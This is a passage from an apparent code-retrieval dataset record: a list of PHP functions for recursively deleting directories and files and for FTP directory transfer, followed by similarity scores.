{\n\t\t\t\t\tif (is_file(\"$workingdir/$entry\") || ((!$follow_links) && is_link(\"$workingdir/$entry\"))) {\n\t\t\t\t\t\tunlink(\"$workingdir/$entry\");\n\t\t\t\t\t} elseif (is_dir(\"$workingdir/$entry\") && $entry != '.' && $entry != '..') {\n\t\t\t\t\t\trmdir_recursive(\"$workingdir/$entry\");\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tclosedir($dir);\n\t\t\t\trmdir($workingdir);\n\t\t\t} elseif (is_file($workingdir)) {\n\t\t\t\tunlink($workingdir);\n\t\t\t}\n\t\t}\n\t}\n\treturn;\n}", "function fm_delete_folder($dir, $groupid) {\r\n\tglobal $CFG, $USER;\r\n\t\r\n\t// if the dir being deleted is a root dir (eg. has some dir's under it)\r\n\tif ($child = get_record('fmanager_folders', 'pathid', $dir->id)) {\r\n\t\tfm_delete_folder($child, $groupid);\r\n\t} \r\n\t// Deletes all files/url links under folder\r\n\tif ($allrecs = get_records('fmanager_link', 'folder', $dir->id)) {\r\n\t\tforeach ($allrecs as $ar) {\r\n\t\t\t// a file\r\n\t\t\tif ($ar->type == TYPE_FILE || $ar->type == TYPE_ZIP) {\r\n\t\t\t\tfm_remove_file($ar, $groupid);\r\n\t\t\t} \r\n\t\t\t// removes shared aspect\r\n\t\t\tdelete_records('fmanager_shared', 'sharedlink', $ar->id);\t\t\t\t\t\r\n\t\t\t// Delete link\r\n\t\t\tdelete_records('fmanager_link', 'id', $ar->id);\r\n\t\t}\r\n\t}\r\n\r\n\t// delete shared to folder\r\n\tdelete_records('fmanager_shared', 'sharedlink', $dir->id);\t\r\n\r\n\tif ($groupid == 0) {\r\n\t\tif (!@rmdir($CFG->dataroot.\"/file_manager/users/\".$USER->id.$dir->path.$dir->name.\"/\")) {\r\n\t\t\terror(get_string('errnodeletefolder', 'block_file_manager'));\r\n\t\t}\r\n\t} else {\r\n\t\tif (!@rmdir($CFG->dataroot.\"/file_manager/groups/\".$groupid.$dir->path.$dir->name.\"/\")) {\r\n\t\t\terror(get_string('errnodeletefolder', 'block_file_manager'));\r\n\t\t}\r\n\t}\r\n\tdelete_records('fmanager_folders', 'id', $dir->id);\r\n\t\r\n}", "function deleteFolder();", "public function rrmdir($dir) {\n\t\tif (is_dir($dir)) {\n\t\t\t$objects = scandir($dir);\n\t\t\tforeach ($objects as $object) {\n\t\t\t\tif ($object != \".\" && $object != \"..\") {\n\t\t\t\t\tif (filetype($dir.\"/\".$object) == \"dir\") $this->rrmdir($dir.\"/\".$object); else unlink($dir.\"/\".$object);\n\t\t\t\t}\n\t\t\t}\n\t\t\treset($objects);\n\t\t\trmdir($dir);\n\n\t\t\treturn TRUE;\n\t\t}\n\n\t\treturn FALSE;\n\t}", "function l10n_drupal_rmdir_recursive($directory) {\n if (!is_dir($directory)) {\n return;\n }\n if (substr($directory, -1) != '/') {\n $directory .= '/';\n }\n if ($handle = opendir($directory)) {\n while ($file = readdir($handle)) {\n if ($file == '.' or $file == '..') {\n continue;\n }\n $path = $directory . '/' . $file;\n if (is_dir($path)) {\n l10n_drupal_rmdir_recursive($path);\n }\n else {\n unlink($path);\n }\n }\n rmdir($directory);\n closedir($handle);\n }\n}", "function remove_dir($path) {\n\t\tif (file_exists($path) && is_dir($path))\n\t\t\trmdir($path);\n\t}", "function ftp_get_dir($loc_dir, $rmt_dir, $isRecursive=TRUE, $useWhiteList=FALSE, $debug=FALSE) {\n\t\t$loc_dir = rtrim($loc_dir, '/');\n\t\t$rmt_dir = rtrim($rmt_dir, '/');\n\t\t\n\t\t$this->prv_ftp_get_dir($loc_dir, $rmt_dir, $isRecursive, $useWhiteList, $debug);\n\t}", "public function unlinkSV( $server, $url )\n\t{\n\t\tif( $server == 1 )\n\t\t{\n\t\t\t@unlink( $this->root_dir . \"/\" . $this->upload_dir . \"/\" . $this->mod_name . \"/\" . $this->setting['root_contain'] . \"/\" . $url );\n\t\t}\n\t\telseif( $server != 0 )\n\t\t{\n\t\t\t$ftpdata = $this->getFTP();\n\n\t\t\tif( ! isset( $ftpdata[$server] ) ) return;\n\n\t\t\tif( in_array( $ftpdata[$server]['host'], array( 'nhaccuatui', 'zing', 'nhacvui', 'nhacso', 'zingclip', 'nctclip' ) ) ) return;\n\n\t\t\trequire_once ( $this->root_dir . \"/modules/\" . $this->mod_file . \"/class/ftp.class.php\" );\n\t\t\t$ftp = new FTP();\n\t\t\tif( $ftp->connect( $ftpdata[$server]['host'] ) )\n\t\t\t{\n\t\t\t\tif( $ftp->login( $ftpdata[$server]['user'], $ftpdata[$server]['pass'] ) )\n\t\t\t\t{\n\t\t\t\t\t$ftp->delete( $ftpdata[$server]['ftppart'] . $ftpdata[$server]['subpart'] . $url );\n\t\t\t\t}\n\t\t\t\t$ftp->disconnect();\n\t\t\t}\n\t\t}\n\t}", "public static function removeTempDir()\n {\n $tmpDir = self::getTempDir();\n\n array_map('unlink', glob(\"$tmpDir/*.*\"));\n array_map('unlink', glob(\"$tmpDir/*/*.*\"));\n array_map('unlink', glob(\"$tmpDir/*/*/*.*\"));\n array_map('unlink', glob(\"$tmpDir/*/*/*/*.*\"));\n array_map('unlink', glob(\"$tmpDir/*/*/*/*/*.*\"));\n array_map('rmdir', glob(\"$tmpDir/*/*/*/*\", GLOB_ONLYDIR));\n array_map('rmdir', glob(\"$tmpDir/*/*/*\", GLOB_ONLYDIR));\n array_map('rmdir', glob(\"$tmpDir/*/*\", GLOB_ONLYDIR));\n array_map('rmdir', glob(\"$tmpDir/*\", GLOB_ONLYDIR));\n is_dir($tmpDir) and rmdir($tmpDir);\n }", "public static function rmdir_recursive($dir)\n {\n foreach(scandir($dir) as $file) {\n if ('.' === $file || '..' === $file) continue;\n if (is_dir(\"$dir/$file\")){\n self::rmdir_recursive(\"$dir/$file\");\n }else{\n chmod(\"$dir/$file\", 0777);\n unlink(\"$dir/$file\");\n }\n }\n rmdir($dir);\n }", "function directoryRemove($option){\n\tglobal $mainframe, $jlistConfig;\n\n $marked_dir = JArrayHelper::getValue($_REQUEST, 'del_dir', array());\n\n // is value = root dir or false value - do nothing\n if ($marked_dir == '/'.$jlistConfig['files.uploaddir'].'/' || !stristr($marked_dir, '/'.$jlistConfig['files.uploaddir'].'/')) {\n $message = $del_dir.' '.JText::_('COM_JDOWNLOADS_BACKEND_DIRSEDIT_DELETE_DIR_ROOT_ERROR');\n \t$mainframe->redirect('index.php?option='.$option.'&task=directories.edit',$message);\n } else {\n // del marked dir complete\n $res = delete_dir_and_allfiles (JPATH_SITE.$marked_dir);\n\n switch ($res) {\n case 0:\n $message = $marked_dir.'<br />'.JText::_('COM_JDOWNLOADS_BACKEND_DIRSEDIT_DELETE_DIR_MESSAGE_OK');\n break;\n case -2:\n $message = $marked_dir.'<br />'.JText::_('COM_JDOWNLOADS_BACKEND_DIRSEDIT_DELETE_DIR_MESSAGE_ERROR');\n break;\n default:\n $message = $marked_dir.'<br />'.JText::_('COM_JDOWNLOADS_BACKEND_DIRSEDIT_DELETE_DIR_MESSAGE_ERROR_X');\n break;\n } \n\t $mainframe->redirect('index.php?option='.$option.'&task=directories.edit',$message);\n\t}\n}", "function ftp_put_dir($loc_dir, $rmt_dir, $isRecursive=TRUE, $useWhiteList=FALSE) {\n\t\t$loc_dir = rtrim($loc_dir, '/');\n\t\t$rmt_dir = rtrim($rmt_dir, '/');\n\t\t\n\t\t$this->prv_ftp_put_dir($loc_dir, $rmt_dir, $isRecursive, $useWhiteList);\n\t}", "function deletedirectory($path)\n{\n $files = glob($path . '*', GLOB_MARK);\n foreach ($files as $file)\n {\n unlink($file);\n }\n rmdir($path);\n}", "public function recursiveRmdir(string $path) {\n if(!file_exists($path)) { return; }\n $files = glob($path . '/*');\n foreach ($files as $file) {\n if (is_dir($file)) {\n $this->recursiveRmdir($file);\n } else {\n unlink($file);\n }\n }\n rmdir($path);\n }", "abstract function delete_dir($filepath);", "public function deleteAll()\n {\n \\Core\\File\\System::rrmdir($this->_getPath(), false, true);\n }", "private function rrmdir($dir)\n {\n // protect from something bad happening\n if (0 !== strpos($dir, $this->storagePath)) {\n return false;\n }\n\n foreach (glob($dir . DIRECTORY_SEPARATOR . '*') as $file) {\n if (is_dir($file)) {\n $this->rrmdir($file);\n } else {\n unlink($file);\n }\n }\n\n return rmdir($dir);\n }", "function rmDir($dir, $args = '')\n {\n require_once 'System.php';\n if ($args && $args[0] == '-') {\n $args = substr($args, 1);\n }\n System::rm(\"-{$args}f $dir\");\n }", "function recursive_deletion($baseDir)\n{\n\t$files = scandir($baseDir);\n\tforeach ($files as $file) \n\t{\n\t\tif ( ($file != '.') && ($file != '..') ) \n\t\t{\n\t\t\tif ( is_dir($baseDir . $file) ) recursive_deletion($baseDir.$file.'/');\n\t\t\telse unlink($baseDir . $file);\n\t\t}\n\t}\n\trmdir($baseDir);\n}", "function rm_rf($file) {\n if (is_dir($file)) {\n if (!($dh = opendir($file))) {\n return false;\n }\n while (($entry = readdir($dh)) !== false) {\n if ($entry == '.' || $entry == '..') continue;\n if (!rm_rf($file . DIRECTORY_SEPARATOR . $entry)) {\n closedir($dh);\n return false;\n }\n }\n closedir($dh);\n return rmdir($file);\n } else {\n return unlink($file);\n }\n}", "public function rmdir($dirName, $recursive = true)\n\t{\n\t\tif (!$recursive)\n\t\t{\n\t\t\t$targetDir = $this->translatePath($dirName);\n\n\t\t\treturn @ssh2_sftp_rmdir($this->sftpHandle, $targetDir);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif (!is_dir($dirName))\n\t\t\t{\n\t\t\t\treturn $this->delete($dirName);\n\t\t\t}\n\n\t\t\t$ret = true;\n\t\t\t$di = new \\DirectoryIterator($dirName);\n\n\t\t\t/** @var \\DirectoryIterator $dirEntry */\n\t\t\tforeach ($di as $dirEntry)\n\t\t\t{\n\t\t\t\tif ($dirEntry->isDot())\n\t\t\t\t{\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\tif ($dirEntry->isFile())\n\t\t\t\t{\n\t\t\t\t\t$ret = $ret && $this->delete($dirEntry->getPathname());\n\t\t\t\t}\n\t\t\t\telseif ($dirEntry->isDir())\n\t\t\t\t{\n\t\t\t\t\t$ret = $ret && $this->rmdir($dirEntry->getPathname(), true);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$ret = $ret && $this->rmdir($dirName, false);\n\n\t\t\treturn $ret;\n\t\t}\n\t}", "public function testDeleteDirectory()\n {\n mkdir(self::$temp.DS.'foo');\n file_put_contents(self::$temp.DS.'foo'.DS.'file.txt', 'Hello World');\n\n Storage::rmdir(self::$temp.DS.'foo');\n\n $this->assertTrue(! is_dir(self::$temp.DS.'foo'));\n $this->assertTrue(! is_file(self::$temp.DS.'foo'.DS.'file.txt'));\n }", "public static function rmdir( $dir ) {\n\t\t\tif ( ! file_exists( $dir ) ) {\n\t\t\t\treturn true;\n\t\t\t}\n\n\t\t\tif ( ! is_dir( $dir ) ) {\n\t\t\t\treturn unlink( $dir );\n\t\t\t}\n\n\t\t\tforeach ( scandir( $dir ) as $item ) {\n\t\t\t\tif ( $item == '.' || $item == '..' ) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tif ( ! Thim_File_Helper::rmdir( $dir . DIRECTORY_SEPARATOR . $item ) ) {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn rmdir( $dir );\n\t\t}", "public function delete_temp($local_temp){\r\n\t\tforeach(scandir($local_temp) as $old_file) {\r\n\t\t\tif ('.' === $old_file || '..' === $old_file) continue;\r\n\t\t\tif (is_dir(\"$local_temp/$old_file\")) rmdir_recursive(\"$local_temp/$old_file\");\r\n\t\t\telse unlink(\"$local_temp/$old_file\");\r\n\t\t}\r\n\t\trmdir($local_temp);\r\n\t}", "public function deleteFile(string $remoteFile) : bool\n {\n $this->checkConnection();\n\n try {\n $result = $this->removeFile($this->FTPHandle, $remoteFile);\n\n } catch (\\Exception $ex) {\n\n }\n\n return $result ?? false;\n }" ]
[ "0.6919601", "0.6912454", "0.63018686", "0.62261975", "0.6055631", "0.59187907", "0.58441156", "0.58229464", "0.5814085", "0.5809715", "0.58058923", "0.57984024", "0.57968116", "0.5731223", "0.56818736", "0.5676852", "0.5661832", "0.5654481", "0.56434554", "0.56291074", "0.56240326", "0.56148785", "0.55800945", "0.5557635", "0.55486053", "0.5548439", "0.55408454", "0.55365896", "0.55123115", "0.55084324", "0.5505573", "0.5498743", "0.549005", "0.54866695", "0.5470702", "0.545425", "0.5451336", "0.54512066", "0.54448", "0.5413785", "0.54090714", "0.5408272", "0.53706586", "0.5354664", "0.5330358", "0.5322093", "0.5320683", "0.53109205", "0.5301444", "0.52872956", "0.5279815", "0.5272949", "0.5260608", "0.52603996", "0.52474254", "0.52448267", "0.524446", "0.524446", "0.5235687", "0.5229655", "0.5222381", "0.52121085", "0.52047884", "0.5200625", "0.5194989", "0.5194086", "0.5183609", "0.5183083", "0.5182889", "0.5168842", "0.51679325", "0.51648265", "0.5157692", "0.51562214", "0.51484615", "0.5148199", "0.51398844", "0.513944", "0.5130987", "0.5112236", "0.51069266", "0.510133", "0.5098102", "0.5091401", "0.50840783", "0.5077509", "0.5072531", "0.5057643", "0.50572246", "0.5045618", "0.50444144", "0.50403553", "0.50156385", "0.50149393", "0.5006239", "0.4994462", "0.49940786", "0.4974151", "0.4968405", "0.49628595" ]
0.59732157
5
here we attempt to delete the file/directory
public function ftp_moveAll($src_dir, $dst_dir) { if (!(@$this->rmdir($directory) || @$this->delete($directory))) { # if the attempt to delete fails, get the file listing $filelist = @$this->listFiles($directory); # loop through the file list and recursively delete the FILE in the list foreach ($filelist as $file) { $this->recursiveDelete($file); } #if the file list is empty, delete the DIRECTORY we passed $this->recursiveDelete($directory); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function delete()\n\t{\n\t\t@unlink($this->get_filepath());\n\t\t@unlink($this->get_filepath(true));\n\t\tparent::delete();\n\t}", "function delete() {\n global $USER;\n if($this->Dir !== 0 && $this->mayI(DELETE)) {\n $this->loadStructure();\n foreach($this->files as $file) {\n $file->delete();\n }\n foreach($this->folders as $folder) {\n $folder->delete();\n }\n rmdir($this->path);\n parent::delete();\n }\n }", "function deleteFile() {\r\n\t\tif (file_exists($this->data[$this->alias]['path'])) {\r\n\t\t\tunlink($this->data[$this->alias]['path']);\r\n\t\t}\r\n\t}", "public function delete()\n {\n $filesystem = $this->localFilesystem(dirname($this->path));\n\n method_exists($filesystem, 'deleteDir')\n ? $filesystem->deleteDir(basename($this->path))\n : $filesystem->deleteDirectory(basename($this->path));\n }", "public function on_delete() {\n $this->remove_dir();\n }", "private function _do_delete() {\n\t\tif (g($_POST, 'delete')) {\n\t\t\tif (g($this->conf, 'disable.delete')) die('Forbidden');\n\t\t\t\n $path = g($this->conf, 'path');\n if (g($_POST, 'path'))\n $path = \\Crypt::decrypt(g($_POST, 'path'));\n \n $this->_validPath($path);\n \n\t\t\t$parent = dirname($path);\n\t\t\t\n\t\t\tif ($path == g($this->conf, 'type')) {\n\t\t\t\t$this->_msg('Cannot delete root folder', 'error');\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tif ($this->_delete($this->_path($path))) {\n\t\t\t\t$this->_msg('Success delete ['.$path.']');\n\t\t\t\theader('location:'.$this->_url(['path' => $parent]));\n\t\t\t\tdie();\n\t\t\t} else {\n\t\t\t\t$this->_msg('Failed delete ['.$path.'] : please call your administator', 'error');\n\t\t\t}\n\t\t}\n\t}", "public function delete() {\n\n\t \t if(!unlink($this->directory .'/' . $_FILES[$this->inputName]['name']))\n Log::debug('Upload::delete Failed to delete upload');\n else\n Log::debug('Upload::delete Delete successful');\n\t }", "public function delete()\n\t{\n\t\t$this->tossIfException();\n\t\t\n\t\t$files = $this->scan();\n\t\t\n\t\tforeach ($files as $file) {\n\t\t\t$file->delete();\n\t\t}\n\t\t\n\t\t// Allow filesystem transactions\n\t\tif (fFilesystem::isInsideTransaction()) {\n\t\t\treturn fFilesystem::delete($this);\n\t\t}\n\t\t\n\t\trmdir($this->directory);\n\t\t\n\t\t$exception = new fProgrammerException(\n\t\t\t'The action requested can not be performed because the directory has been deleted'\n\t\t);\n\t\tfFilesystem::updateExceptionMap($this->directory, $exception);\n\t}", "public function delete()\n {\n if($this->exists())\n unlink($this->getPath());\n }", "public function delete(): void\n {\n unlink($this->path);\n }", "abstract function delete_dir($filepath);", "public function delete(): void\n {\n unlink($this->getPath());\n }", "public function clean()\n {\n if ( is_dir( $this->_strDirectory ) ) {\n $h = opendir($this->_strDirectory);\n while ($h && $f = readdir($h)) { \n if ( $f != '.' && $f != '..') {\n $fn = $this->_strDirectory . '/' . $f;\n if ( is_dir($fn) ) {\n $dir = new Sys_Dir($fn);\n $dir->delete();\n } else {\n $file = new Sys_File( $fn );\n $file->delete();\n }\n }\n }\n\t if ( $h ) { closedir( $h ); }\n \n }\n }", "protected function cleanupFilesystem() {\n $this->deleteFile($this->_directories[\"communication.log\"]);\n $this->deleteFile($this->_directories[\"communicationDetails\"]);\n $this->deleteFile($this->_directories[\"communityRegistry\"]);\n $this->deleteDirector($this->_directories[\"communityDefinitionsDir\"]);\n $this->deleteDirector($this->_directories[\"nodeListDir\"]);\n }", "public function delete(): void\n {\n if ( ! $this->isWritable() ) {\n throw new FileSystemException(\n 'File access denied: '.$this->directory->getPath().'/'.$this->filename\n );\n }\n\n if ( ! $this->exists() ) {\n throw new FileSystemException(\n 'Nothing to delete: '.$this->directory->getPath().'/'.$this->filename\n );\n }\n\n unlink($this->directory->getPath().'/'.$this->filename);\n }", "public function delete_file(){\n unlink('/opt/lampp/htdocs/specijalisticki_rad/uploaded_images/'.$this->name);\n\n }", "public function delete()\n {\n try\n {\n $thumbnail = $this->getThumbnail();\n if($thumbnail)\n {\n $thumbnail->delete();\n }\n }\n catch(sfException $e){}\n \n // delete current file\n parent::delete();\n }", "public function destroy()\n {\n $file=public_path(config('larapages.media.folder')).Input::all()['folder'].'/'.Input::all()['file'];\n if (!file_exists($file)) die('File not found '.$file);\n unlink($file);\n }", "public function removeUpload()\n{\n if ($file = $this->getAbsolutePath()) {\n unlink($file); \n }\n}", "public function delete_file(){\n if($this->file_name != 'sample.jpg'){\n unlink($this->dir_location . $this->file_name);\n }\n }", "public function delete()\n\t{\n\t\tsfCore::db->query(\"DELETE FROM `swoosh_file_storage` WHERE `id`='%i';\", $this->id);\n\t\t$this->fFile->delete();\n\t}", "public function testDeleteFile()\n {\n // TODO: implement\n $this->markTestIncomplete('Not implemented');\n }", "abstract function delete_file($filepath);", "public function __destruct()\n {\n $iMax = count($this->aFiles);\n for ($iFor = 0; $iFor < $iMax; $iFor++) {\n\n if (true === file_exists($this->aFiles[$iFor])) {\n\n unlink($this->aFiles[$iFor]);\n }\n\n $sMessage = 'delete: ' . $this->aFiles[$iFor];\n $this->oLog->writeLog(Log::HF_DEBUG, $sMessage);\n }\n }", "public function delete() {\n File::deleteDirectory( $this->base_path );\n\n return parent::delete();\n }", "public function deleteDownloadFile()\r\n\t{\r\n\t\t@unlink($this->reference);\r\n\t}", "function delFile($path)\n {\n unlink($this->dir . DIRECTORY_SEPARATOR . $path);\n }", "public function remove()\n {\n $fs = new Filesystem();\n $fs->remove($this->dir());\n }", "function delete () {\n $this->clearCache ();\n commentaire::deletePhoto ($this->dir, $this->file);\n return files::deleteFile (luxbum::getFsPath ($this->dir) . $this->file);\n }", "protected function delete($path) \n\t{\n\t $path = $this->absolutePath($path);\n\t \n\t if (file_exists($path))\n\t {\n\t unlink($path);\n\t $this->log(\"File $path deleted.\");\n\t }\n\t else\n\t {\n\t $this->log(\"File $path not found.\");\n\t }\n\t}", "public function delete() {\n $result = $this->getFileSystem()->delete($this->getLocalPath());\n if (!$result) {\n // Inform the user if the file could not be deleted\n //File xxx could not be deleted.\n }\n\n return $result;\n }", "public function file_delete($filename);", "protected function cleanup() {\n\t\tif(isset($this->data['attachment'])) {\n\t\t\tunlink($this->data['attachment']);\n\t\t}\n\t\tparent::cleanup();\n\t}", "public function delete($filename){\n\t\t$file = $this->$dirname.'/'.$filename;\n\t\tif (file_exists($file)){\n\t\t\tunlink($file);\t\t\t\n\t\t}\n\t}", "function deleteArticleTree() {\n\t\tparent::rmtree($this->filesDir);\n\t}", "public function destroy(){\n\t\t\tif($this->delete()){\n\t\t\t\t//2.Remove the file\n\t\t\t\tif(!unlink($this->path()))\n\t\t\t\t{\n\t\t\t\t\t//$_SESSION[\"message\"]=$this->path();\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}", "function __destruct() {\r\n\t\tunlink($this->uploadfile);\r\n\t}", "private function deleteTempFile() {\n if ($this->datastreamInfo['content']['type'] == 'file' && $this->copied == TRUE) {\n unlink($this->datastreamInfo['content']['content']);\n }\n }", "public function delete($filepath);", "function delete($path);", "function fileDelete(){\n\t\t$result = mysql_query(getFile($_GET['file']));\n\t\tif($row = mysql_fetch_assoc($result)) {\n\t\t\tgetFileGlobals($row);\n\t\t\tmysql_query(deleteObject($GLOBALS['objectId']));\n\t\t\tmysql_query(deleteFile($GLOBALS['fileId']));\n\t\t\tdie();\n\t\t}\n\t\theader('Location:' . fullURL(getLangVar(\"filesURL\")));\n\t}", "public function tearDown(): void\n {\n if (is_dir($this->tmpPath)) {\n if (file_exists($this->oldFile)) {\n unlink($this->oldFile);\n }\n if (file_exists($this->origFile)) {\n unlink($this->origFile);\n }\n if (file_exists($this->newFile)) {\n unlink($this->newFile);\n }\n if (is_dir($this->newDir)) {\n if (file_exists($this->newDirFile)) {\n unlink($this->newDirFile);\n }\n rmdir($this->newDir);\n }\n rmdir($this->tmpPath);\n }\n }", "protected function tearDown()\n {\n unlink($this->filename);\n }", "public function delete(): void\n {\n $this->instances->demo()->runHook($this->root(), 'delete:before', $this);\n\n Dir::remove($this->root());\n $this->instances->delete($this->id);\n\n $this->instances->demo()->runHook($this->root(), 'delete:after', $this);\n }", "public function destroyFolder()\n {\n $file=public_path(config('larapages.media.folder')).Input::all()['folder'];\n if (!file_exists($file)) die('File not found '.$file);\n if (!is_dir($file)) die('Not a folder '.$file);\n $h=opendir($file);\n while($f=readdir($h)) {\n if ($f!='.' && $f!='..') die('Folder is not empty');\n }\n closedir($h);\n rmdir($file);\n }", "public function remove_dir() {\n\n $path = $this->get_upload_pres_path();\n\n //append_debug_msg($path);\n\n if(!$path || !file_exists($path)){ return; }\n delete_dir($path);\n }", "public function delete($delete_dir_if_empty = true)\n\t{\n\t\t$this->_parent->{$this->_name.'_file_name'} = '';\n\t\t$this->_parent->{$this->_name.'_file_size'} = 0;\n\t\t$this->_parent->{$this->_name.'_content_type'} = '';\n\t\t$this->_parent->save(array('validate' => false, 'save_attachments' => false));\n\n\n\t\t/* Since the parent is updated by this point, this attachment now thinks everything is \"junk\" */\n\t\t$this->deleteJunk();\n\n\t\t/* Now, lets remove the parent folder to keeps things clean */\n\t\t$dir = dirname($this->path());\n\t\tif(is_dir($dir))\n\t\t\trmdir(dirname($this->path()));\n\n\t\treturn true;\n\t}", "static function delete()\n\t{\n\t\t\n\t\tif (file_exists(Cache::$path))\n\t\t\tunlink(Cache::$path);\n\t\t\t\t\n\t}", "public function delete()\n\t{\n\t\t$this->hard_delete();\n\t}", "public function delete_local_file()\n\t{\n\t\tif(file_exists($this->local_file)) {\n\t\t\t$this->upload_local_file();\n\t\t\tunlink($this->local_file);\n\t\t}\n\t\t$this->local_file = null;\n\t}", "public function remove(): void\n {\n $file = $this->getAbsolutePath();\n if (!is_file($file) || !file_exists($file)) {\n return;\n }\n\n unlink($file);\n }", "public function tearDown()\n {\n foreach ($this->files as $file) {\n if (file_exists($file)) {\n unlink($file);\n }\n }\n }", "function remdir()\r\n {\r\n if(is_writable($_REQUEST['file']))\r\n {\r\n $dir=$_GET['file'];\r\n $this->deleteDirectory($dir); \r\n }\r\n else{echo \"Permission Denied !\";}\r\n }", "public function delete()\n\t{\n\t\t$s3 = AWS::createClient('s3');\n $s3->deleteObject(\n array(\n 'Bucket' => $this->bucket,\n 'Key' => $this->location\n )\n );\n\t\tif($this->local_file && file_exists($this->local_file)) {\n\t\t\tunlink($this->local_file);\n\t\t}\n $this->local_file = null;\n\t}", "public function DeleteFile()\r\n\t{\r\n\t\t$queryDeleteFile = \"UPDATE files SET status=\\\"DELETED\\\" WHERE file_id=\".$this->fileId;\r\n\t\t$this->sqlDataBase->nonSelectQuery($queryDeleteFile);\r\n\t\tunlink(UPLOAD_PATH. DIRECTORY_SEPARATOR .$this->fileId);\r\n\t}", "public function unlinkTempFiles() {}", "public function del(){\n $status = new StatusTYPE();\n\t\t$path = str_replace($this->id.'.'.$this->ext, '', $this->getFull_Filename());\n \tif ( cmsToolKit::rmDirDashR( $path ) )\n $status = parent::del();\n else\n $status->setFalse('could not delete folder'); \n \n return $status;\n }", "public function unlinkTempFiles() {}", "protected function doCleanup() {\n $base = $this->tempPath();\n $dirs = array($base);\n\n if (is_dir($base)) {\n foreach ($this->recurse($base) as $file) {\n if (is_dir($file)) {\n $dirs[] = $file;\n } else {\n unlink($file);\n }\n }\n\n foreach (array_reverse($dirs) as $path) {\n rmdir($path);\n }\n }\n\n foreach (array(self::LOGFILE_STUB, self::STATEFILE_STUB, self::ZIPTEMP_STUB, self::ZIPCOMP_STUB) as $extra_file) {\n if (is_file($base.$extra_file)) {\n unlink($base.$extra_file);\n }\n }\n }", "public function doDelete($path);", "function DeleteFile()\n{\n\t$sFileUrl = '';\n\t\n\tif(isset($_REQUEST['file-path']) === false)\n\t{\n\t\techo '<fail>no file path</fail>';\n\t\treturn;\n\t}\n\t\n\t$sFileUrl = $_REQUEST['file-path']; \n\t\n\tif(file_exists($sFileUrl) === false)\n\t{\n\t\techo '<fail>file not exist</fail>';\n\t\treturn;\n\t}\n\t\n\t\n\t$bIsFileDelete = false; \n\t\n\tif(is_dir($sFileUrl) === true)\n\t{\n\t\t$bIsFileDelete = UnlinkRecursive($sFileUrl);\n\t} else\n\t{\n\t\t$bIsFileDelete = unlink($sFileUrl);\n\t}\n\t\n\tif($bIsFileDelete === true)\n\t{\n\t\tif(file_exists($sFileUrl) === false)\n\t\t{\n\t\t\techo '<correct>correct delete file</correct>';\n\t\t}\n\t} else\n\t{\n\t\techo '<fail>cant delete file</fail>';\n\t}\n\t\n\treturn;\n}", "public final function delete() {\n }", "function delete_file() {\n $is_logged_in = $this->common_lib->is_logged_in();\n if ($is_logged_in == FALSE) {\n\t\t\t$this->session->set_userdata('sess_post_login_redirect_url', current_url());\n if($this->data['is_admin'] === TRUE){\n redirect($this->router->directory.'admin/login');\n }else{\n redirect($this->router->directory.'user/login');\n }\n }\n\n $id = $this->input->get_post('id');\n $file_path = $this->input->get_post('file_path');\n if ($id) {\n $where_array = array('id' => $id);\n $res = $this->user_model->delete($where_array, 'uploads');\n if ($res) {\n $this->common_lib->unlink_file(array(FCPATH . $file_path));\n }\n echo json_encode(\"success\");\n } else {\n echo json_encode(\"error\");\n }\n }", "public function testDeleteDirectory()\n {\n mkdir(self::$temp.DS.'foo');\n file_put_contents(self::$temp.DS.'foo'.DS.'file.txt', 'Hello World');\n\n Storage::rmdir(self::$temp.DS.'foo');\n\n $this->assertTrue(! is_dir(self::$temp.DS.'foo'));\n $this->assertTrue(! is_file(self::$temp.DS.'foo'.DS.'file.txt'));\n }", "function delete($record_id){\r\n\t\t$rs=parent::get_record($record_id);\r\n\t\tif (is_dir(USER_IMAGES_FOLDER_ADDRESS.$rs->fields[\"image_folder\"].\"/\"))\r\n\t\t{\r\n\t\t\trm_dir_and_all_files(USER_IMAGES_FOLDER_ADDRESS.$rs->fields[\"image_folder\"].\"/\");\r\n\t\t}\r\n\r\n\t\t\r\n\t\t//--------------delete the user record\r\n\t\tparent::delete($record_id);\r\n\t}", "public function delete() \r\n {\r\n if($this->exists())\r\n {\r\n unlink($this->fullName());\r\n }\r\n }", "function FTPdelete($file,$path,$parent=''){\n}", "protected function cleanup() {\n $h = opendir($this->tmpdir);\n while (false !== ($e = readdir($h))) {\n if ($e!='.'&&$e!='..'&&is_file($this->tmpdir.'/'.$e)) unlink ($this->tmpdir.'/'.$e);\n }\n if (is_object($this->history)) $this->history->cleanup();\n closedir($h);\n rmdir($this->tmpdir);\n }", "private function cleanTmp()\n {\n // cleanup files in tmp\n $dir = ELAB_ROOT . '/uploads/tmp';\n $di = new \\RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS);\n $ri = new \\RecursiveIteratorIterator($di, \\RecursiveIteratorIterator::CHILD_FIRST);\n foreach ($ri as $file) {\n $file->isDir() ? rmdir($file) : unlink($file);\n }\n }", "public function delete()\n {\n if (empty($this->_dirname))\n {\n return FALSE;\n }\n return $this->delete_rec($this->_dirname);\n }", "public function removeUpload()\n {\n $file = $this->getAbsolutePath();\n if ($file) {\n unlink($file);\n }\n }", "function deletePhoto($file,$dir){\n\t\n\t@unlink($dir.$file);\n}", "public function run()\n {\n $result = null;\n\n if (file_exists($this->filename))\n {\n $result = unlink($this->filename);\n }\n else\n {\n if (!$this->ignore) return Result::error('File does not exist.');\n }\n\n return ($result)? Result::success() : Result::error('Failed to delete file.');\n }", "public function delete($filename);", "public function __destruct()\n {\n //$this->deletePath($this->path);\n }", "public function destroy()\n\t{\n\t\treturn unlink(self::filepath($this->name));\n\t}", "public function deleteFilePerm(){\r\n\t\t$storage_name = $this->uri->segment(3);\r\n\r\n\t\t//Check if the file exists\r\n\t\tif(!$this->DataModel->fileExists($storage_name) == TRUE){\r\n\t\t\t//File 